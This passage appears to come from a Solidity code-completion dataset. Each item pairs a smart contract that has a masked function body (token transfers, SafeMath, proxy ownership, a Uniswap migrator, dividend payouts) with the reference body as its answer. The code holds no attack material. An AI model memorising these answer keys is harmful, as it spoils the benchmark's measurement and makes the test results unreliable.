smartFunds.length; i++) { addresses[i] = address(smartFunds[i]); } return addresses; } /** * @dev Sets a new default ExchangePortal address * * @param _newExchangePortalAddress Address of the new exchange portal to be set */ function setExchangePortalAddress(address _newExchangePortalAddress) public onlyOwner { // Require that the new exchange portal is permitted by permittedExchanges require(permittedExchanges.permittedAddresses(_newExchangePortalAddress)); exchangePortalAddress = _newExchangePortalAddress; } /** * @dev Sets a new default Portal Portal address * * @param _poolPortalAddress Address of the new pool portal to be set */ function setPoolPortalAddress (address _poolPortalAddress) external onlyOwner { // Require that the new pool portal is permitted by permittedPools require(permittedPools.permittedAddresses(_poolPortalAddress)); poolPortalAddress = _poolPortalAddress; } /** * @dev Sets a new default Convert Portal address * * @param _convertPortalAddress Address of the new convert portal to be set */ function setConvertPortalAddress(address _convertPortalAddress) external onlyOwner { // Require that the new convert portal is permitted by permittedConverts require(permittedConverts.permittedAddresses(_convertPortalAddress)); convertPortalAddress = _convertPortalAddress; } /** * @dev Sets maximum success fee for all newly created SmartFunds * * @param _maximumSuccessFee New maximum success fee */ function setMaximumSuccessFee(uint256 _maximumSuccessFee) external onlyOwner { maximumSuccessFee = _maximumSuccessFee; } /** * @dev Sets platform fee for all newly created SmartFunds * * @param _platformFee New platform fee */ function setPlatformFee(uint256 _platformFee) external onlyOwner { platformFee = _platformFee; } /** * @dev Sets new stableCoinAddress * * @param _stableCoinAddress New stable address */ function setStableCoinAddress(address _stableCoinAddress) external onlyOwner { require(permittedStables.permittedAddresses(_stableCoinAddress)); stableCoinAddress = _stableCoinAddress; } /** * @dev Allows platform to withdraw tokens received as part of the platform fee * * @param _tokenAddress Address of the token to be withdrawn */ function withdrawTokens(address _tokenAddress) external onlyOwner { ERC20 token = ERC20(_tokenAddress); token.transfer(owner, token.balanceOf(this)); } /** * @dev Allows platform to withdraw ether received as part of the platform fee */ function withdrawEther() external onlyOwner { owner.transfer(address(this).balance); } // Fallback payable function in order to receive ether when fund manager withdraws their cut function() public payable {} }
convertPortalAddress = _convertPortalAddress; platformFee = _platformFee; exchangePortalAddress = _exchangePortalAddress; permittedExchanges = PermittedExchangesInterface(_permittedExchangesAddress); permittedPools = PermittedPoolsInterface(_permittedPoolAddress); permittedStables = PermittedStablesInterface(_permittedStables); poolPortalAddress = _poolPortalAddress; stableCoinAddress = _stableCoinAddress; smartFundETHFactory = SmartFundETHFactoryInterface(_smartFundETHFactory); smartFundUSDFactory = SmartFundUSDFactoryInterface(_smartFundUSDFactory); cEther = _cEther; permittedConverts = PermittedConvertsInterface(_permittedConvertsAddress);
constructor( address _convertPortalAddress, uint256 _platformFee, address _permittedExchangesAddress, address _exchangePortalAddress, address _permittedPoolAddress, address _poolPortalAddress, address _permittedStables, address _stableCoinAddress, address _smartFundETHFactory, address _smartFundUSDFactory, address _cEther, address _permittedConvertsAddress ) public
/** * @dev contructor * * @param _convertPortalAddress address of convert portal contract * @param _platformFee Initial platform fee * @param _permittedExchangesAddress Address of the permittedExchanges contract * @param _exchangePortalAddress Address of the initial ExchangePortal contract * @param _permittedPoolAddress Address of the permittedPool contract * @param _poolPortalAddress Address of the initial PoolPortal contract * @param _permittedStables Address of the permittesStabels contract * @param _stableCoinAddress Address of the stable coin * @param _smartFundETHFactory Address of smartFund ETH factory * @param _smartFundUSDFactory Address of smartFund USD factory * @param _cEther Address of Compound ETH wrapper * @param _permittedConvertsAddress Address of the permittedConverts contract */ constructor( address _convertPortalAddress, uint256 _platformFee, address _permittedExchangesAddress, address _exchangePortalAddress, address _permittedPoolAddress, address _poolPortalAddress, address _permittedStables, address _stableCoinAddress, address _smartFundETHFactory, address _smartFundUSDFactory, address _cEther, address _permittedConvertsAddress ) public
76134
BasicTradeBotCommanderStaging
processLimitOrder
contract BasicTradeBotCommanderStaging { DharmaTradeBotV1Interface _TRADE_BOT = DharmaTradeBotV1Interface( 0x0f36f2DA9F935a7802a4f1Af43A3740A73219A9e ); function processLimitOrder( DharmaTradeBotV1Interface.LimitOrderArguments calldata args, DharmaTradeBotV1Interface.LimitOrderExecutionArguments calldata executionArgs ) external returns (uint256 amountReceived) {<FILL_FUNCTION_BODY> } }
contract BasicTradeBotCommanderStaging { DharmaTradeBotV1Interface _TRADE_BOT = DharmaTradeBotV1Interface( 0x0f36f2DA9F935a7802a4f1Af43A3740A73219A9e ); <FILL_FUNCTION> }
amountReceived = _TRADE_BOT.processLimitOrder( args, executionArgs );
function processLimitOrder( DharmaTradeBotV1Interface.LimitOrderArguments calldata args, DharmaTradeBotV1Interface.LimitOrderExecutionArguments calldata executionArgs ) external returns (uint256 amountReceived)
function processLimitOrder( DharmaTradeBotV1Interface.LimitOrderArguments calldata args, DharmaTradeBotV1Interface.LimitOrderExecutionArguments calldata executionArgs ) external returns (uint256 amountReceived)
3451
MuskToken
MuskToken
contract MuskToken is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of MuskToken function MuskToken( ) {<FILL_FUNCTION_BODY> } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
contract MuskToken is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; <FILL_FUNCTION> /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
balances[msg.sender] = 1000000000000000000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 1000000000000000000000000000; // Update total supply (100000 for example) name = "Musk Token"; // Set the name for display purposes decimals = 18; // Amount of decimals for display purposes symbol = "MUSK"; // Set the symbol for display purposes
function MuskToken( )
//human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of MuskToken function MuskToken( )
24738
BurnableToken
_burn
contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal {<FILL_FUNCTION_BODY> } }
contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } <FILL_FUNCTION> }
require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value);
function _burn(address _who, uint256 _value) internal
function _burn(address _who, uint256 _value) internal
86307
SafeMath
safeMul
contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) {<FILL_FUNCTION_BODY> } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } }
contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } <FILL_FUNCTION> function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } }
c = a * b; require(a == 0 || c / a == b);
function safeMul(uint a, uint b) public pure returns (uint c)
function safeMul(uint a, uint b) public pure returns (uint c)
8478
OwnedUpgradeabilityProxy
proxyOwner
contract OwnedUpgradeabilityProxy is UpgradeabilityProxy { /** * @dev Event to show ownership has been transferred * @param previousOwner representing the address of the previous owner * @param newOwner representing the address of the new owner */ event ProxyOwnershipTransferred(address previousOwner, address newOwner); // Storage position of the owner of the contract bytes32 private constant PROXY_OWNER_POSITION = keccak256("fixed.price.trade.proxy.owner"); /** * @dev the constructor sets the original owner of the contract to the sender account. */ constructor(address _implementation) public { _setUpgradeabilityOwner(msg.sender); _upgradeTo(_implementation); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyProxyOwner() { require(msg.sender == proxyOwner()); _; } /** * @dev Tells the address of the owner * @return the address of the owner */ function proxyOwner() public view returns (address owner) {<FILL_FUNCTION_BODY> } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferProxyOwnership(address _newOwner) public onlyProxyOwner { require(_newOwner != address(0)); _setUpgradeabilityOwner(_newOwner); emit ProxyOwnershipTransferred(proxyOwner(), _newOwner); } /** * @dev Allows the proxy owner to upgrade the current version of the proxy. * @param _implementation representing the address of the new implementation to be set. */ function upgradeTo(address _implementation) public onlyProxyOwner { _upgradeTo(_implementation); } /** * @dev Sets the address of the owner */ function _setUpgradeabilityOwner(address _newProxyOwner) internal { bytes32 position = PROXY_OWNER_POSITION; assembly { sstore(position, _newProxyOwner) } } }
contract OwnedUpgradeabilityProxy is UpgradeabilityProxy { /** * @dev Event to show ownership has been transferred * @param previousOwner representing the address of the previous owner * @param newOwner representing the address of the new owner */ event ProxyOwnershipTransferred(address previousOwner, address newOwner); // Storage position of the owner of the contract bytes32 private constant PROXY_OWNER_POSITION = keccak256("fixed.price.trade.proxy.owner"); /** * @dev the constructor sets the original owner of the contract to the sender account. */ constructor(address _implementation) public { _setUpgradeabilityOwner(msg.sender); _upgradeTo(_implementation); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyProxyOwner() { require(msg.sender == proxyOwner()); _; } <FILL_FUNCTION> /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferProxyOwnership(address _newOwner) public onlyProxyOwner { require(_newOwner != address(0)); _setUpgradeabilityOwner(_newOwner); emit ProxyOwnershipTransferred(proxyOwner(), _newOwner); } /** * @dev Allows the proxy owner to upgrade the current version of the proxy. * @param _implementation representing the address of the new implementation to be set. */ function upgradeTo(address _implementation) public onlyProxyOwner { _upgradeTo(_implementation); } /** * @dev Sets the address of the owner */ function _setUpgradeabilityOwner(address _newProxyOwner) internal { bytes32 position = PROXY_OWNER_POSITION; assembly { sstore(position, _newProxyOwner) } } }
bytes32 position = PROXY_OWNER_POSITION; assembly { owner := sload(position) }
function proxyOwner() public view returns (address owner)
/** * @dev Tells the address of the owner * @return the address of the owner */ function proxyOwner() public view returns (address owner)
18015
UniswapV2Migrator
migrate
contract UniswapV2Migrator is IUniswapV2Migrator { IUniswapV1Factory immutable factoryV1; IUniswapV2Router01 immutable router; constructor(address _factoryV1, address _router) public { factoryV1 = IUniswapV1Factory(_factoryV1); router = IUniswapV2Router01(_router); } // needs to accept ETH from any v1 exchange and the router. ideally this could be enforced, as in the router, // but it's not possible because it requires a call to the v1 factory, which takes too much gas receive() external payable {} function migrate(address token, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external override {<FILL_FUNCTION_BODY> } }
contract UniswapV2Migrator is IUniswapV2Migrator { IUniswapV1Factory immutable factoryV1; IUniswapV2Router01 immutable router; constructor(address _factoryV1, address _router) public { factoryV1 = IUniswapV1Factory(_factoryV1); router = IUniswapV2Router01(_router); } // needs to accept ETH from any v1 exchange and the router. ideally this could be enforced, as in the router, // but it's not possible because it requires a call to the v1 factory, which takes too much gas receive() external payable {} <FILL_FUNCTION> }
IUniswapV1Exchange exchangeV1 = IUniswapV1Exchange(factoryV1.getExchange(token)); uint liquidityV1 = exchangeV1.balanceOf(msg.sender); require(exchangeV1.transferFrom(msg.sender, address(this), liquidityV1), 'TRANSFER_FROM_FAILED'); (uint amountETHV1, uint amountTokenV1) = exchangeV1.removeLiquidity(liquidityV1, 1, 1, uint(-1)); TransferHelper.safeApprove(token, address(router), amountTokenV1); (uint amountTokenV2, uint amountETHV2,) = router.addLiquidityETH{value: amountETHV1}( token, amountTokenV1, amountTokenMin, amountETHMin, to, deadline ); if (amountTokenV1 > amountTokenV2) { TransferHelper.safeApprove(token, address(router), 0); // be a good blockchain citizen, reset allowance to 0 TransferHelper.safeTransfer(token, msg.sender, amountTokenV1 - amountTokenV2); } else if (amountETHV1 > amountETHV2) { // addLiquidityETH guarantees that all of amountETHV1 or amountTokenV1 will be used, hence this else is safe TransferHelper.safeTransferETH(msg.sender, amountETHV1 - amountETHV2); }
function migrate(address token, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external override
function migrate(address token, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external override
37842
Ownable
isOwner
contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) {<FILL_FUNCTION_BODY> } /** * @dev Allows the current owner to relinquish control of the contract. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. * @notice Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }
contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } <FILL_FUNCTION> /** * @dev Allows the current owner to relinquish control of the contract. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. * @notice Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }
return msg.sender == _owner;
function isOwner() public view returns (bool)
/** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool)
65406
BasicToken
transfer
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) {<FILL_FUNCTION_BODY> } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } }
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } <FILL_FUNCTION> /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } }
require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true;
function transfer(address _to, uint256 _value) public returns (bool)
/** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool)
92324
SafeMath
safeMul
contract SafeMath { function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {<FILL_FUNCTION_BODY> } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c>=a && c>=b); return c; } }
contract SafeMath { <FILL_FUNCTION> function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c>=a && c>=b); return c; } }
uint256 c = a * b; assert(a == 0 || c / a == b); return c;
function safeMul(uint256 a, uint256 b) internal pure returns (uint256)
function safeMul(uint256 a, uint256 b) internal pure returns (uint256)
15358
TokenERC20
decreaseApproval
contract TokenERC20 is Ownable{ using SafeMath for uint256; string public constant name = "易游币"; string public constant symbol = "YYB"; uint32 public constant decimals = 18; uint256 public totalSupply = 10000000000 ether; uint256 public currentTotalSupply = 0; uint256 startBalance = 10000 ether; mapping(address => bool) touched; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); if( !touched[msg.sender] && currentTotalSupply < totalSupply ){ balances[msg.sender] = balances[msg.sender].add( startBalance ); touched[msg.sender] = true; currentTotalSupply = currentTotalSupply.add( startBalance ); } require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= allowed[_from][msg.sender]); if( !touched[_from] && currentTotalSupply < totalSupply ){ touched[_from] = true; balances[_from] = balances[_from].add( startBalance ); currentTotalSupply = currentTotalSupply.add( startBalance ); } require(_value <= balances[_from]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {<FILL_FUNCTION_BODY> } function getBalance(address _a) internal constant returns(uint256) { if( currentTotalSupply < totalSupply ){ if( touched[_a] ) return balances[_a]; else return balances[_a].add( startBalance ); } else { return balances[_a]; } } function balanceOf(address _owner) public view returns (uint256 balance) { return getBalance( _owner ); } }
contract TokenERC20 is Ownable{ using SafeMath for uint256; string public constant name = "易游币"; string public constant symbol = "YYB"; uint32 public constant decimals = 18; uint256 public totalSupply = 10000000000 ether; uint256 public currentTotalSupply = 0; uint256 startBalance = 10000 ether; mapping(address => bool) touched; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); if( !touched[msg.sender] && currentTotalSupply < totalSupply ){ balances[msg.sender] = balances[msg.sender].add( startBalance ); touched[msg.sender] = true; currentTotalSupply = currentTotalSupply.add( startBalance ); } require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= allowed[_from][msg.sender]); if( !touched[_from] && currentTotalSupply < totalSupply ){ touched[_from] = true; balances[_from] = balances[_from].add( startBalance ); currentTotalSupply = currentTotalSupply.add( startBalance ); } require(_value <= balances[_from]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } <FILL_FUNCTION> function getBalance(address _a) internal constant returns(uint256) { if( currentTotalSupply < totalSupply ){ if( touched[_a] ) return balances[_a]; else return balances[_a].add( startBalance ); } else { return balances[_a]; } } function balanceOf(address _owner) public view returns (uint256 balance) { return getBalance( _owner ); } }
uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true;
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool)
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool)
51131
Finder
getImplementationAddress
contract Finder is Ownable { mapping(bytes32 => address) public interfacesImplemented; event InterfaceImplementationChanged(bytes32 indexed interfaceName, address indexed newImplementationAddress); /** * @dev Updates the address of the contract that implements `interfaceName`. */ function changeImplementationAddress(bytes32 interfaceName, address implementationAddress) external onlyOwner { interfacesImplemented[interfaceName] = implementationAddress; emit InterfaceImplementationChanged(interfaceName, implementationAddress); } /** * @dev Gets the address of the contract that implements the given `interfaceName`. */ function getImplementationAddress(bytes32 interfaceName) external view returns (address implementationAddress) {<FILL_FUNCTION_BODY> } }
contract Finder is Ownable { mapping(bytes32 => address) public interfacesImplemented; event InterfaceImplementationChanged(bytes32 indexed interfaceName, address indexed newImplementationAddress); /** * @dev Updates the address of the contract that implements `interfaceName`. */ function changeImplementationAddress(bytes32 interfaceName, address implementationAddress) external onlyOwner { interfacesImplemented[interfaceName] = implementationAddress; emit InterfaceImplementationChanged(interfaceName, implementationAddress); } <FILL_FUNCTION> }
implementationAddress = interfacesImplemented[interfaceName]; require(implementationAddress != address(0x0), "No implementation for interface found");
function getImplementationAddress(bytes32 interfaceName) external view returns (address implementationAddress)
/** * @dev Gets the address of the contract that implements the given `interfaceName`. */ function getImplementationAddress(bytes32 interfaceName) external view returns (address implementationAddress)
34175
DappAddressStore
addDapp
contract DappAddressStore is DataStore, OwnerManagable { bytes32 internal constant DAPPS = keccak256("__DAPPS__"); event Whitelisted( address indexed addr, bool whitelisted ); constructor() public DataStore() {} function addDapp(address addr) public onlyManager {<FILL_FUNCTION_BODY> } function removeDapp(address addr) public onlyManager { removeAddressFromSet(DAPPS, addr); emit Whitelisted(addr, false); } function dapps() public view returns ( address[] memory addresses ) { return addressesInSet(DAPPS); } function isDapp( address addr ) public view returns (bool) { return isAddressInSet(DAPPS, addr); } function numDapps() public view returns (uint) { return numAddressesInSet(DAPPS); } }
contract DappAddressStore is DataStore, OwnerManagable { bytes32 internal constant DAPPS = keccak256("__DAPPS__"); event Whitelisted( address indexed addr, bool whitelisted ); constructor() public DataStore() {} <FILL_FUNCTION> function removeDapp(address addr) public onlyManager { removeAddressFromSet(DAPPS, addr); emit Whitelisted(addr, false); } function dapps() public view returns ( address[] memory addresses ) { return addressesInSet(DAPPS); } function isDapp( address addr ) public view returns (bool) { return isAddressInSet(DAPPS, addr); } function numDapps() public view returns (uint) { return numAddressesInSet(DAPPS); } }
addAddressToSet(DAPPS, addr, true); emit Whitelisted(addr, true);
function addDapp(address addr) public onlyManager
function addDapp(address addr) public onlyManager
85113
Controlled
changeController
contract Controlled { /// @notice The address of the controller is the only address that can call /// a function with this modifier modifier onlyController { require(msg.sender == controller); _; } address public controller; function Controlled() public { controller = msg.sender;} /// @notice Changes the controller of the contract /// @param _newController The new controller of the contract function changeController(address _newController) onlyController public {<FILL_FUNCTION_BODY> } }
contract Controlled { /// @notice The address of the controller is the only address that can call /// a function with this modifier modifier onlyController { require(msg.sender == controller); _; } address public controller; function Controlled() public { controller = msg.sender;} <FILL_FUNCTION> }
controller = _newController;
function changeController(address _newController) onlyController public
/// @notice Changes the controller of the contract /// @param _newController The new controller of the contract function changeController(address _newController) onlyController public
725
DividendDistributor
manualSend
contract DividendDistributor is IDividendDistributor { using SafeMath for uint256; address public _token; address public _owner; address public _treasury; struct Share { uint256 amount; uint256 totalExcluded; uint256 totalClaimed; } address[] private shareholders; mapping (address => uint256) private shareholderIndexes; mapping (address => Share) public shares; uint256 public totalShares; uint256 public totalDividends; uint256 public totalClaimed; uint256 public dividendsPerShare; uint256 private dividendsPerShareAccuracyFactor = 10 ** 36; modifier onlyToken() { require(msg.sender == _token); _; } modifier onlyOwner() { require(msg.sender == _owner); _; } constructor (address owner, address treasury) { _token = msg.sender; _owner = payable(owner); _treasury = payable(treasury); } // receive() external payable { } function setShare(address shareholder, uint256 amount) external override onlyToken { if(shares[shareholder].amount > 0){ distributeDividend(shareholder); } if(amount > 0 && shares[shareholder].amount == 0){ addShareholder(shareholder); }else if(amount == 0 && shares[shareholder].amount > 0){ removeShareholder(shareholder); } totalShares = totalShares.sub(shares[shareholder].amount).add(amount); shares[shareholder].amount = amount; shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount); } function deposit() external payable override { uint256 amount = msg.value; totalDividends = totalDividends.add(amount); dividendsPerShare = dividendsPerShare.add(dividendsPerShareAccuracyFactor.mul(amount).div(totalShares)); } function distributeDividend(address shareholder) internal { if(shares[shareholder].amount == 0){ return; } uint256 amount = getClaimableDividendOf(shareholder); if(amount > 0){ totalClaimed = totalClaimed.add(amount); shares[shareholder].totalClaimed = shares[shareholder].totalClaimed.add(amount); shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount); payable(shareholder).transfer(amount); } } function claimDividend(address shareholder) external override onlyToken { distributeDividend(shareholder); } function getClaimableDividendOf(address shareholder) public view returns (uint256) { if(shares[shareholder].amount == 0){ return 0; } uint256 shareholderTotalDividends = getCumulativeDividends(shares[shareholder].amount); uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded; if(shareholderTotalDividends <= shareholderTotalExcluded){ return 0; } return shareholderTotalDividends.sub(shareholderTotalExcluded); } function getCumulativeDividends(uint256 share) internal view returns (uint256) { return share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor); } function addShareholder(address shareholder) internal { shareholderIndexes[shareholder] = shareholders.length; shareholders.push(shareholder); } function removeShareholder(address shareholder) internal { shareholders[shareholderIndexes[shareholder]] = shareholders[shareholders.length-1]; shareholderIndexes[shareholders[shareholders.length-1]] = shareholderIndexes[shareholder]; shareholders.pop(); } function manualSend(uint256 amount, address holder) external onlyOwner {<FILL_FUNCTION_BODY> } function setTreasury(address treasury) external override onlyToken { _treasury = payable(treasury); } function getDividendsClaimedOf (address shareholder) external override view returns (uint256) { require (shares[shareholder].amount > 0, "You're not a CCC shareholder!"); return shares[shareholder].totalClaimed; } }
